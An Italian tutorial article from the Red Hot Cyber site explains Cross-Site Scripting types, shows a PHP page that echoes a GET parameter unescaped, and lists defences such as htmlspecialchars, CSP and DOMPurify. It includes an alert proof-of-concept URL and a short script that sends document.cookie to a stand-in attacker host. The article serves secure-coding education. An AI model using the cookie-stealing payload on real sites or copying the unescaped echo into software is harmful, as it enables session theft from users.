Red Hot Cyber
Condividi la tua difesa. Incoraggia l'eccellenza. La vera forza della cybersecurity risiede nell'effetto moltiplicatore della conoscenza.
Condividi la tua difesa. Incoraggia l'eccellenza.
La vera forza della cybersecurity risiede
nell'effetto moltiplicatore della conoscenza.
Redhotcyber Banner Sito 970x120px Uscita 101125
HackTheBox 320x100 1
Scopriamo il Cross-Site Scripting (XSS) tra codice sorgente ed exploit

Scopriamo il Cross-Site Scripting (XSS) tra codice sorgente ed exploit

28 Giugno 2023 08:23

Il Cross-Site Scripting (XSS) è una vulnerabilità di sicurezza che si verifica quando un attaccante inserisce del codice malevolo (solitamente JavaScript) in una pagina web visualizzata da altri utenti. L’obiettivo dell’attaccante è quello di eseguire codice sul browser dell’utente e di rubare informazioni sensibili come cookie, password e altre informazioni personali.

L’attacco XSS si verifica quando un’applicazione web non valida correttamente o filtra i dati immessi dagli utenti e li utilizza senza alcuna verifica o protezione. In questo caso, l’attaccante può inserire codice malevolo nei campi di input dell’applicazione web, come campi di ricerca o di commento, che poi verranno visualizzati agli utenti che accedono alla stessa pagina web.

I tre principali tipi di Cross-Site Scripting (XSS)

Ci sono tre tipi principali di attacchi XSS:

  1. Stored XSS: in cui il codice malevolo viene immagazzinato su un server e viene eseguito ogni volta che un utente accede alla pagina web in cui è stato inserito.
  2. Reflected XSS: in cui il codice malevolo viene inserito nell’URL della pagina web e viene eseguito quando l’utente accede a tale URL.
  3. DOM-based XSS: in cui il codice malevolo viene eseguito lato client, utilizzando JavaScript, e non viene trasmesso al server.

Cyber Offensive Fundamentale Ethical Hacking 02

Avvio delle iscrizioni al corso Cyber Offensive Fundamentals
Vuoi smettere di guardare tutorial e iniziare a capire davvero come funziona la sicurezza informatica?
La base della sicurezza informatica, al di là di norme e tecnologie, ha sempre un unico obiettivo: fermare gli attacchi dei criminali informatici. Pertanto "Pensa come un attaccante, agisci come un difensore". Ti porteremo nel mondo dell'ethical hacking e del penetration test come nessuno ha mai fatto prima. Per informazioni potete accedere alla pagina del corso oppure contattarci tramite WhatsApp al numero 379 163 8765 oppure scrivendoci alla casella di posta [email protected].


Supporta Red Hot Cyber attraverso: 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.

Per proteggersi dall’attacco XSS, è importante che le applicazioni web filtrino e validino correttamente i dati immessi dagli utenti e che utilizzino tecniche di protezione come l’encoding delle stringhe di input e l’utilizzo di header HTTP come Content-Security-Policy (CSP). Inoltre, gli utenti devono prestare attenzione ai link sospetti e alle email di phishing che possono contenere codice malevolo.

Un esempio pratico tra codice ed exploit

In questo esempio analizzeremo una semplice vulnerabilità di Cross Site Scripting osservando prima il codice sorgente e poi un exploit che sfrutta la falla di sicurezza.

Ricordiamo sempre che un exploit è un programma o un codice che sfrutta una vulnerabilità presente in un software o sistema per ottenere un accesso non autorizzato o per causare danni al sistema stesso. L’exploit può essere utilizzato da un attaccante per eseguire codice malevolo, rubare informazioni o causare altri danni al sistema.

Ecco un esempio di codice sorgente PHP che contiene una vulnerabilità di XSS:

<?php
// La variabile "name" è stata passata attraverso il metodo GET
$name = $_GET['name'];

// Stampa il nome sullo schermo
echo "<h1>Benvenuto " . $name . "!</h1>";
?>

In questo esempio, il parametro name viene passato come input dal client al server attraverso il metodo GET. Tuttavia, il codice non filtra o valida la variabile name prima di stamparla sulla pagina.

Questo significa che un utente malintenzionato può inserire del codice HTML o JavaScript malevolo nella variabile name, che verrà poi eseguito sul browser dell’utente che accede alla pagina.

Ecco un esempio di exploit che sfrutta questa vulnerabilità:

http://example.com/welcome.php?name=<script>alert('XSS')</script>

In questo caso, l’attaccante ha inserito del codice JavaScript tra i tag <script> e </script> nella variabile name. Quando l’utente accede alla pagina, il codice JavaScript viene eseguito automaticamente e visualizza una finestra di alert con il messaggio “XSS”.

In un attacco reale, l’attaccante potrebbe utilizzare questa vulnerabilità per rubare informazioni personali dell’utente, ad esempio utilizzando JavaScript per inviare i cookie dell’utente ad un server controllato dall’attaccante.

Per evitare questa vulnerabilità, il codice dovrebbe filtrare e validare correttamente l’input dell’utente, ad esempio utilizzando la funzione htmlspecialchars() per codificare i caratteri speciali HTML e prevenire l’esecuzione del codice JavaScript inserito dall’utente.

Ad esempio in questo codice,

<script>
var cookie = document.cookie;
var img = new Image();
img.src = "http://attacker-server.com/steal.php?cookie=" + cookie;
</script>

Come evitare gli attacchi di Cross-Site Scripting

Gli attacchi XSS possono essere prevenuti implementando alcune misure di sicurezza, tra cui:

  1. Validazione dell’input utente: assicurarsi che l’input utente venga validato in modo adeguato, ad esempio utilizzando filtri per rifiutare l’input non valido o limitare la lunghezza dell’input.
  2. Codifica dell’output: assicurarsi che l’output venga correttamente codificato, ad esempio utilizzando la funzione htmlspecialchars() di PHP per convertire i caratteri speciali in entità HTML.
  3. Utilizzo di librerie di prevenzione XSS: molte librerie JavaScript, come jQuery, forniscono metodi per evitare gli attacchi XSS. Ad esempio, jQuery fornisce la funzione .text() per impostare il contenuto di un elemento come testo semplice, evitando così l’inserimento di codice HTML.

Tra le librerie di prevenzione XSS più famose ci sono:

  1. OWASP ESAPI (Enterprise Security API): una libreria Java open source che fornisce metodi per prevenire gli attacchi XSS e altri tipi di attacchi comuni.
  2. DOMPurify: una libreria JavaScript che pulisce il contenuto HTML di una pagina web per rimuovere qualsiasi codice pericoloso.
  3. HTML Purifier: una libreria PHP che valida e pulisce il contenuto HTML di una pagina web per evitare gli attacchi XSS e altri attacchi basati su HTML.

Implementare queste misure di sicurezza può aiutare a prevenire gli attacchi XSS e proteggere il tuo sito web dagli hacker.

L’importanza dello sviluppo sicuro del codice oggi

Lo sviluppo sicuro del codice è un’importante pratica per garantire che i software moderni siano protetti contro le minacce informatiche, come gli attacchi informatici, le vulnerabilità e i bug.

In un mondo sempre più digitale, i software sono presenti in ogni aspetto della vita moderna, dalla gestione dei dati aziendali alle transazioni finanziarie online, dall’assistenza sanitaria all’intrattenimento. Con l’aumento della quantità di informazioni sensibili che vengono scambiate attraverso questi sistemi, la sicurezza dei software diventa sempre più critica.

Lo sviluppo sicuro del codice aiuta a proteggere le informazioni personali, finanziarie e aziendali dagli attacchi informatici, come ad esempio l’hacking, il phishing e l’iniezione di codice malevolo. Questa pratica comprende l’adozione di procedure e tecniche di programmazione che riducono il rischio di vulnerabilità, come la validazione dei dati di input, la gestione sicura delle password e la gestione degli errori.

Inoltre, lo sviluppo sicuro del codice aiuta anche ad aumentare la fiducia degli utenti nei software e nei servizi online, migliorando la reputazione dell’azienda che li fornisce. Ciò può portare ad un maggior utilizzo di questi servizi e a un maggior successo commerciale.

In sintesi, l’importanza dello sviluppo sicuro del codice su software moderni deriva dalla necessità di proteggere le informazioni sensibili, di aumentare la fiducia degli utenti e di garantire la continuità degli affari.

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Cropped RHC 3d Transp2 1766828557 300x300
La redazione di Red Hot Cyber è composta da professionisti del settore IT e della sicurezza informatica, affiancati da una rete di fonti qualificate che operano anche in forma riservata. Il team lavora quotidianamente nell’analisi, verifica e pubblicazione di notizie, approfondimenti e segnalazioni su cybersecurity, tecnologia e minacce digitali, con particolare attenzione all’accuratezza delle informazioni e alla tutela delle fonti. Le informazioni pubblicate derivano da attività di ricerca diretta, esperienza sul campo e contributi provenienti da contesti operativi nazionali e internazionali.

Articoli in evidenza

Immagine del sitoCyber Italia
Vendesi Italia (finanziaria): l’asta shock per il controllo di un’azienda da 3,6 milioni di fatturato
Redazione RHC - 20/01/2026

Una nuova, grave minaccia scuote il panorama della cybersicurezza nazionale. Secondo quanto riportato dagli analisti di Paragon Sec alla redazione di Red Hot Cyber, un pericoloso threat actor ha messo all’asta nel celebre forum underground…

Immagine del sitoCyber Italia
29.198 italiani coinvolti in un massiccio data breach nel trasporto aereo. Chi è stato violato?
Redazione RHC - 20/01/2026

Un nuovo, massiccio data breach scuote il mondo del trasporto aereo e accende i riflettori sulla fragilità dei dati sensibili dei viaggiatori. Secondo quanto riportato dagli esperti di Paragon Sec, un threat actor ha messo…

Immagine del sitoCybercrime
VoidLink: il framework che mostra come l’IA stia cambiando il cybercrime
Redazione RHC - 20/01/2026

Avevamo già parlato di VoidLink qualche giorno fa, si tratta di un framework composto da oltre 30 moduli che possono essere combinati per soddisfare specifici obiettivi degli aggressori su ciascuna macchina infetta. L’evoluzione dello sviluppo…

Immagine del sitoCybercrime
Cloudflare, scoperto un grave bypass che nessuno stava guardando
Redazione RHC - 20/01/2026

Un percorso poco visibile, utilizzato per la gestione dei certificati di sicurezza dei siti web, ha permesso per alcune settimane di aggirare le protezioni di Cloudflare e raggiungere direttamente i server delle applicazioni. La vulnerabilità…

Immagine del sitoCybercrime
Gli hacker stanno sfruttando VMware ESXi con un toolkit di exploit zero-day
Redazione RHC - 20/01/2026

Un gruppo di pirati informatici sta utilizzando un toolkit di exploit zero-day per compromettere istanze VMware ESXi in modalità non controllata, approfittando di multiple vulnerabilità per superare le restrizioni delle macchine virtuali. L’attuale incidente sottolinea…